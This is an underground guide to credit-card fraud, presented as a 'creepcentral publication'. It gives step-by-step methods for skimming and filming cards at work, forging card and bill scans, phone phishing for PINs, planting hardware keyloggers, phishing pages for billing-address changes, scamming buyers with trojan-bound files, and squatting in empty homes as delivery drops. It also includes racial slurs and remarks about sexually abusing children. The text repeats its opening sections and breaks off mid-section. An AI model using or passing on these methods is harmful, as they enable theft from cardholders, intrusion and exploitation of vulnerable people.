This is a creepcentral publication
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing addresses
Including drops and what you need to know;Huge guide written by me

Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing addresses
Including drops and what you need to know;Huge guide written by me

kay major updates done to this carding yext, it will cover the basics of most carding knowledge. Going into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2 different categories of their own.

kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2 different categories of their own.

What I'm going to cover:

Online Carding
- A quick overview of what online carding is
- SOCKS and why we use them
- Finding a cardable site and what cardable means
- Carding "non cardable websites" with fake CC scans and other fake documents

Carding while on the job
- Getting CC, CVV, CVV2 through use of mobiles
- Skimming whilst on the job
- Using carbonless receipts to get details (pretty outdated method)

Trashing

- Trashing for receipts and credit reports (pretty outdated although still works)

Phishing over the phone
- Phishing over the phone for details

Keylogging for CVV2s
- Hardware keylogging

Carding Instore
- What instore carding is (very brief)
- How it's done
- How to act and present yourself instore

Carding over the phone
- Carding over the phone

IRC
- Services provided in IRC
- Advantages to using IRC for info
- Disadvantages
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)
- Vendors and how to approach them
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew what they were doing)
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::

Phishing for Change of billing
- What COB is and why it's useful
- Use through phishing pages
- Use through keylogging

Drops and what you need to know about them
- Drops and what you need to know about them

What carding is
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#, CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card belongs to along with a signature.

Online Carding
Online carding is the purchasing of goods done over the internet with the CVV2.
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC number and the CVC (card verification code, which is the 3 digits on the back of the card).

This is the format you usually get them in when you buy off IRC:
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street, fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::

SOCKS and why we use them
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are blacklisted by websites and because TOR cycles through various different proxies; and even if you configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but

make sure you're using some constant sock proxies from the same city, town or area that the card is from; also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some searching around yourself for a highly trusted one and one which won't comply with LE).

You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time), that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with some Nigerian dude who became selfish).

So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH proxies everytime you card.

Finding a cardable site and what cardable means
Basically a cardable site holds these characteristics and what you should be looking for to determine an easily "cardable" website:
- The top one you need to look for on the site's TOS is that they send to any address and not just the one registered on the card (although you can easily get around this if they don't, with a COB, photoshopped verification (will go into detail later) or some social engineering over the phone).
- The next important to look for is if they have a visa verification code or mastercard secure code (most of the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of these you have to put in and you don't have them then don't waste your time
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to your local drop)
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site in the UK that has all these qualities including this one, it is perfect for carding clothes)
- Also you can't forget to see what other security checks they need to do (if they need to call you up to verify or want a utility bill, passport or a scan of the actual CC)

It is hard to find websites online now that have most of these qualities, therefore we have to use COBs and photoshop to help us along the way, which is what I'll go into now.

Carding "non cardable websites" with fake CC scans and other fake documents
Okay so say you come across a site that will deliver to another house not registered on the card, but they want verificaton either through phone or scans of a utility bill, credit card or passport.

For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia 3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's details you're using is local to you and you're daring then go to their home and beige box from there; it'd be very convincing.

If they speak to you over the phone have all details in your mind about the item you're carding, have some bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.

For CC scans and how to do them check the attachments at the end of this file, they explain so much better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt them a little bit so it does actually look like a scan. To make it even more believable put some paper in the scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same goes for utility bills (can be got through trashing or your own, and then edited in PS).

Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm working on getting a good one soon.

VISA hologram pic coming soon!

Carding whilst on the job
Getting CC, CVV, CVV2 through use of mobiles
Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of people around flashing off their plastic cash and using them freely without a care in the world. The most common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's and all the other trendy shops.

Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think again when they take your credit card and go under the desk with it to get the keypad, they are doing more than just that; just because they're not taking the card and running off with it does not mean they're not stealing your information. A friend of my dad used to card and work in a clothing store, he used to have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh, unfortunately he began doing it too much and because he'd gotten away with it so many times he became careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the max, and you don't know exactly if you're pressing over the info of another card already put on to the play doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden days.

But there is a new wonderful invention called cameras, video recording, and mobile phones and they are even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at least over 2 megapixel and allows long enough video recording times. The phone is set to video record and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all the information you need, as well as being quick you can get a lot more than 2 on, depending on how long each recording lasts, you may need to start more than one recording.

You need good reason to be going under the desk to get the chip and pin machine, so make the desk look cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so you need to get the other one, take their card and then go under searching the desk and quickly show it to the camera phone and then get the chip and pin machine and put the card in it and then hand to the customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.

Skimming whilst on the job
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch out).

If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their card out of sight with them. I guess you could do that technique with clothing retail too when you get their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone

and pretend to have them talking on the phone while really they're recording the person next to them putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear [5mpixel]).

I'll go into detail what to do with the dumps you have later in the instore carding section.

Using carbonless receipts to get details (pretty outdated method)
If the store you work at hasn't gone carbonless on the transactions information then you can get most of the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you get it.

Trashing
Trashing for receipts and credit reports (pretty outdated although still works)
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All on forms people couldn't be bothered to dispose of properly because they thought they were JUST old records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from work as well). But also from this if there is not enough info for you on the forms then there is definitely the phone number of the mark on the form that they've scrapped; almost always, and if not then there is enough info on their to look them up in the phone directory. Then of course you use social engineering skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then go trashing in the bins at the back of the store for the receipts with the credit card details on it.

Phishing over the phone
Phishing over the phone for details
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are people actually stupid enough to fall for these obvious scams. Even more people fall for this if they believe that the caller is from the credit card company itself or part of the secret service or credit fraud investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If you sound professional or part of an important group such as investigations then people are more likely to comply with you if they believe that their card has been used for credit fraud purposes and have to give their credit card info and billing address for verification. The best time to call up the mark is when they are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they question you. Play along well to the part you're pretending to be. Some social engineering skills are required and you must gain the experience of lying to people yourself. Before calling up the person find out as much information about them as you can.

If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell them there has been some suspicious charges made to the credit card from places such as South Africa, Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may as well, it'll make it easier to get a COB for you to use).

You can also get their PIN out of them if you want as well by either straight out asking them to confirm it, or be crafty and after you've told them to verify their PIN you're putting them through to a different department; then play some cheesy music down the phone for a few mins, have a female voice recording (use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get these recorded so they can be decoded with DTMF decoding hardware/software later (although it's expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like, it's preferred to use decoding software to ensure you have it correct.

If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for

this).

Keylogging for CVV2s
Hardware keylogging
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers from here:
Code:
http://tyner.com/datalogger/keykatcher.htm
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as to not look suspicious just coming in and then leaving a few seconds later).

Or of course you could set one up in a business and do the classic call in and do some social engineering from the credit card company or secret service and have them go to the bank online and have them log in to verify, or maybe even have them log in to a fake bank online made by yourself that will collect anyone's info who logs in on it.

Carding Instore
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the PIN as well through whatever method you choose to use.

How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is the best to use). And you do it like this:
Written by: Acetrace

1. Load up thejerms software

2. hit settings tab

3. hit "Defaults" in Leading Zeros box

4. hit "75 bpi" in Set Track 2 density box

5. go bak to actions

6. hit LoCo or HiCo in Coercivity box, depending on which you want to do

7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)

8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went ok)

9. GO SHOPPING!!!

Download thejerm from here:
Code:
PM ME FOR DOWNLOAD LINKS (OMNISCIENT)
I was a member of this site and it came from there so don't worry about it not being safe, I used this software a lot back in the day.

Now how you should act when you go carding instore is pretty much common sense, but some people get caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.

Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart for the occasion, wear brand named clothing (that you've previously carded) or even a suit. It would look suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in with style. When you go instore, you ACT like you are using your own card, because essentially that's what it is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras mean nothing anyway, they don't know your name or where you live, they're not being watched half of the time, so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you go in, don't rush take your time, browse around some other items. Find the item you want to card and even ask the employee simple questions about it (if it's a TV or comp just ask questions about certain specs and if it's good for playing video games on). You'll be most nervous at the checkout, just act as normal as you always have been, don't make too much small talk but be polite and civil. Once you have the good sin your hands don't bolt out the door, just say thank you and then casually walk out the door, get to your car and then celebrate all you want.

Carding over the phone
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you could use a beige box and call from someone else's phone but that's a totally different game all together and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though . The next day postage is said so that they have less time to look up details on the order. Some cards will have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start to question you then just answer the questions and talk your way around the situation with your social engineering skills; don't just run away from the questions or hang up straight away, otherwise that is cause for suspicion and they may investigate. If all goes well you should have your item of choice delivered to your drop location or a house of someone else's address who you don't know and call them up saying that you called up the store and they've sent the package to the wrong address and it is still sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after work (this is a last resort and only to be tried if you're good at talking to people, which you should be if you're a carder). I recommend checking out the section on drops later on in this text.

I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send without some verification which is usually the case).

IRC
Services provided in IRC
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off IRC from CP to warez to CC details (which is what we want).

To concentrate on carding though you can buy:
CVVs
CVV2s
SSNs
Utility bill scans
CC scans
COB (a service to get someone to call up the victim's bank and get the billing address changed to your drop)
Payment for using someone else's drop and then sending to you
Spyware
Fake ID/ ID scans
DUMPZ
Phisher pages

The list really is endless

There are a lot of advantages to using IRC networks and channels which I'll go into now:
- The channels are often underground and not known to many people, so they're harder to stumble upon by some random guy.
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing the traffic. This makes it harder for investigators to uncover.
- Easier and quicker to communicate with mass amounts of like minded people.
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made every second, guaranteed).
- And of course a varity of services, if you need something you can bet someone from the other side of the world will be willing to share or/and sell to you.

There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you stay cautious, here's what you should be weary of:

- Viruses
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and NOD32 are what you want)
- Do not accept random .exes or any file for that matter
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely

How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)

Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find these channels?
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is where I found out about a lot of the carder channels I used, also how I found out about forums and their IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone, I was banned for ripping (I didn't rip anyone :angry

The quicker way is to use these and search for certain keywords:
Code:
http://www.irclinux.org
http://www.irctrace.com
http://www.irclog.org
http://www.rcarchive.info
http://www.irc-chat-logs.com
http://www.irseek.com/
And of course don't forget google.

I'm only going to give you one clue for searching through google for a carding IRC, and that word is "undernet".

Fellow carders don't like revealing their IRCs, and for obvious reasons.

My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow fraudster.

Vendors and how to approach them
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is just like going up to a random drug dealer in the street and not knowing what you really want or what you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase somewhere; they should show you a before and after and the limits that are there on the card [there are methods out there of checking your balance; you can even get it through text/sms]. This is a market so remember there are more people that will be willing to buy from that vendor, it's open for all, you can get a full load of info including dumps for as low as ?3/$5, drops usually go for ?7; if someone is saying higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit higher in ranges of ?15-?20 because the vendor needs to get full info on someone and then change the billing address through the bank to where ever your drop is.

Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors are saying they have to offer and then send them a private message and talk to them. If any "vendor" messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however don't piss off the rippers or assume someone is a ripper because you never know who is going to be there to help you out later on down the line or who might be pissed off enough to fuck you over.

I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just don't go to them again, because if they get away with it once they'll definitely try again if you go back to them).

DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit. The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as $200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going to be installed on your machine while you get some useless program that does nothing.

Ripping
Easy as hell to do, not much photoshop skills needed really either.

Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit card gen program; of course they don't fucking work), if they want to see proof just use your own legit CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the details to that which you're going to be giving him later. Take payment through Western Union ONLY (since e-gold isn't around anymore), then just send him the bullshit info.

If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying some bullshit reports. Then get the payment via WU.

To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers (look for ones requesting).

::::WU BUG::::
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are actually making quick programs themselves and taking screens of them and then selling them, although essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info you get from spying on them will be so much more as well ranging from their info to other stolen CC info, you'll have a backdoor on what they do and can exploit it.

If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get them to show you pics, vids and info; then use it for yourself and rip some n00bs.

Phishing for Change of billing
A billing address is the details used for a person's bank account and most often their credit cards and everything else too, this includes their phone number too.

What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to your drop address you're gonna be using. When you want to card BIG at various online websites the orders will look more legit that you're not sending it else where other than the one registered to the card (obviously after you've changed the billing address), meaning the delivery of your goods will be quicker and will require a lot less verification.

Most of the time you change the billing address over the phone but SOME banks will let you do it online; when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going to be using when carding, or beige boxing

When changing the billing address you need to know as much info as possible about the person's billing address you're changing, because the bank is going to ask you 3 security questions you set (such as mother's maiden name) before they change it.

You can phish for details over the phone (see the phishin over the phone section above), however it's best to use keyloggers and phisher pages for this with a MIX of over the phone.

Use through phishing pages
2 methods here, 1 including over the phone, one isn't.

The method without the phone is to just send a ton of e-mails out to random people and send them a html e-mail telling them they need to update their information before the account is suspended or their account with the bank will be cancelled, you have them go to a phisher page off the template and the phisher pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you know those type of questions.

Another method is to call them up pretending to be the bank and saying there have been different ip ranges logging on their account and they need to confirm their details online, link them to the phisher page and have them fill in the details; have the phisher page redirect to the actual online bank's login page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers to their secret questions which you can give to the bank itself when you go to change the billing address.

Use through keylogging
This is my favourite method and what I told S_E last night in IRC.

You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into their online bank account and then change their password, call them up pretending to be the bank and then get them to go to the actual online bank link and fill in their forgotten password options (answering secret questions) or of course get them to go to your phisher page and fill in the details (this is if you want to add more fields to get more info) then pretend to be checking it all over, then change their password again to some random letters and numbers and give it to them to log back in (it doesn't matter because they're keylogged and you'll get their new login if they change the password again anyway), you'll have all their info logged down too for you to answer your questions when you call the bank.

Best time to do all of this is around the 10th day of the month (people usually get their credit reports at the start of every month), this will give you plenty of time to card enough for the remaining days until they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have

cancelled the online bank account for them after they've gave you the info you need to know; I used to do this method and keep it going without them knowing).

You need as much info as possible when calling up the bank to change the billing address.

Drops and what you need to know about them
Drops and what you need to know about them
What drop locations are and what they?re used for
Well simply a drop location is an abandoned house, or any house that is not under your name or any of your details. You can lead young children into these to make a sexy time with them, get items delivered to them that you want no one else to find about or risking finding, or just use it to squat in if you have no where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam artists and sex offenders.

How to find a drop location
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I suggest swapping and changing locations because my main last one I used got raided or broken into and is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.

One final tip is don?t bother going for houses that are boarded up at the front where it is visible to passers by (it?s okay if round the back is boarded up)

Way #1
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go about it is you should be looking around some older housing estates and more ghetto areas (could also tie in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin. Old Sinfin is the are you would want to go to, because it?s older it?s most likely to be alot more houses abandoned or deemed unsafe (it?s bullshit).

Or if you were lucky like I once were then you could ask around your mates if there are any empty houses in their area. If there are then you?re in luck and can even have your friend keep tabs and watching over it for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with neighbour hood watch morons, and nosey neighbours, but it?s still ideal and a little bit less suspicious than the abandoned houses in the older estates, and this is because the older estates usually have all abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will seem less suspicious to the postman.

Way #2
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of getting what you need but has a bit more risk to it; and personally is a way I have never used even till today.

Have you ever been eavesdropping on a conversation between a neighbour and one of their family member?s or friends?, or been down the pub and heard the common as muck chavs boasting about a holiday they are going away on for however long they say they?re going away for?

Well listen out for these type of conversations. Because them away on holiday means the house is most likely going to be empty for however long they?re going away for. So if you already know where they live then that?s great the job is made easier; if you know their first name and surname then look them up in the phone directory and find their address to go along with the number. If you don?t know where they live, or their name then just listen out to see if you can hear their names come up in conversation; just remember that if it?s in the pub it?s most likely local to it that they live, so you could easily find out by following them home and seeing.

Way #3

Possibly the safest, easiest way of finding, and quickest way to get a drop location.

Most areas have houses up for sale am I right?
Or houses that are up for bidding on, am I right?

Well they have a website with a full list of your local area(s) that have houses up for bidding on and for sale.

For example I would search Derbyhomefinders and look at the list on their site.

All of these houses are empty and often do not have a sign up outside them either (if they do then just take it down and hide it somewhere for the time being).

The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or if the house has been sold (this lets you know that it will not be ideal to use that certain house now it?s most likely to be inhabited) and will have the houses on there that are still being bidded on and that are still up for sale, these are the ones you want to be using.

The best thing about this though is that you have a full list of many different drops to use (like I said earlier it?s best to switch drop locations and use many different ones) and it is updated with new ones coming up and tells you full which ones are over and not usable.

You just need to know your agencies for housing and find their website.

Obtaining and using drop locations
You?re probably thinking now I?ve got/found one that?s great and everything but how the fuck do I keep it a secret?

for way 1
this much is obvious that you do not tell anyone except your partner if you?re doing a team bait, and 1 trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only when he asks. But there is alot more to it than that, also maintaining your abandoned house and making the postman think someone living there.

Appearance isn?t everything at all in any case and it isn?t for this either, but of course you try to make yourself look as best as you can. The same principles are applied to keeping an abandoned house; you should atleast try to get a new lock put on the door which you will also have a key for; just so that if any druggies go there before you then they will have a tougher time getting in (of course it?s ideal you don?t get somewhere known to druggies but this is an example of what use it could have) but also if there is a fucked up lock on a door then it?s pretty damn obvious only low life scum or some criminal(s) are using the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance from a friend who knows what they are doing.

Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use a lawn mower, use clippers and hack it as short as you can. It?s best to get all of this done when everyone is at work during the day time; but in reality it isn?t ideal at all and most criminals don?t tend to bother with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the floor near the door saying something such as "No milk today please" or "Not in, please leave packages at post office".

Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look like you get mail and not just the one off suspicious package now and then.

Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your"

garden) or you can leave a note saying to take any packages to the post office for pick up because you are at work or something along those lines.

One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a week.

Way 2
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit just before the postman arrives and be at the house outside pretending you?re just about to leave and then sign for the package (if you need to) and collect it off the postman and then be on your way after he?s gone. Or if you?re good at bypassing alarms (I have a guide on burglary) or the house has no alarm then you could bump key in at night time (not recommended) or during the day time the day before when everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in the fridge and feed yourself since you?re spending the rest of the day and early morning there). Basic rules are don?t have tv on too loud if at all, or if you do then put head phones on into the tv if it?s that old of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone looking after the house while the owners are away come in then you have time to hide.

Obviously if it?s a package you don?t have to sign for then you can stick up a note on the door early in the morning before the post man comes saying to leave it round the back or what ever excuse you wanna make up.

Way #3
Easy, just as previously except you don?t have to be as cautious and often the alarms are disabled for that time being anyway so you don?t have to worry as much if you bump key into it.

As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down and just get them out of the way.

You can even go to this one the night before instead of day time because no one is hardly going to be watching over this unless it?s in a neighbourhood watch area (in which case you chose the wrong area anyway, you dumbass).

Some basic tips to keep in mind
-- Be there before the postman! can?t stress this enough, it?s too fucking obvious if you?re late.

-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake shit) with your hand that you don?t write with, so it?s harder to trace incase things go tits up later on down the line.

-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your situations.

Carding I

This is a creepcentral publication
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing addresses
Including drops and what you need to know;Huge guide written by me

Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing addresses
Including drops and what you need to know;Huge guide written by me

kay major updates done to this carding yext, it will cover the basics of most carding knowledge. Going into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2 different categories of their own.

kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2 different categories of their own.

What I'm going to cover:

Online Carding
- A quick overview of what online carding is
- SOCKS and why we use them
- Finding a cardable site and what cardable means
- Carding "non cardable websites" with fake CC scans and other fake documents

Carding while on the job
- Getting CC, CVV, CVV2 through use of mobiles
- Skimming whilst on the job
- Using carbonless receipts to get details (pretty outdated method)

Trashing
- Trashing for receipts and credit reports (pretty outdated although still works)

Phishing over the phone
- Phishing over the phone for details

Keylogging for CVV2s
- Hardware keylogging

Carding Instore
- What instore carding is (very brief)
- How it's done
- How to act and present yourself instore

Carding over the phone
- Carding over the phone

IRC
- Services provided in IRC
- Advantages to using IRC for info
- Disadvantages
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)
- Vendors and how to approach them
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew what they were doing)
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::

Phishing for Change of billing
- What COB is and why it's useful
- Use through phishing pages

- Use through keylogging

Drops and what you need to know about them
- Drops and what you need to know about them

What carding is
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#, CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card belongs to along with a signature.

Online Carding
Online carding is the purchasing of goods done over the internet with the CVV2.
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC number and the CVC (card verification code, which is the 3 digits on the back of the card).

This is the format you usually get them in when you buy off IRC:
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street, fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::

SOCKS and why we use them
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are blacklisted by websites and because TOR cycles through various different proxies; and even if you configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but make sure you're using some constant sock proxies from the same city, town or area that the card is from; also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some searching around yourself for a highly trusted one and one which won't comply with LE).

You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time), that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with some Nigerian dude who became selfish).

So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH proxies everytime you card.

Finding a cardable site and what cardable means
Basically a cardable site holds these characteristics and what you should be looking for to determine an easily "cardable" website:
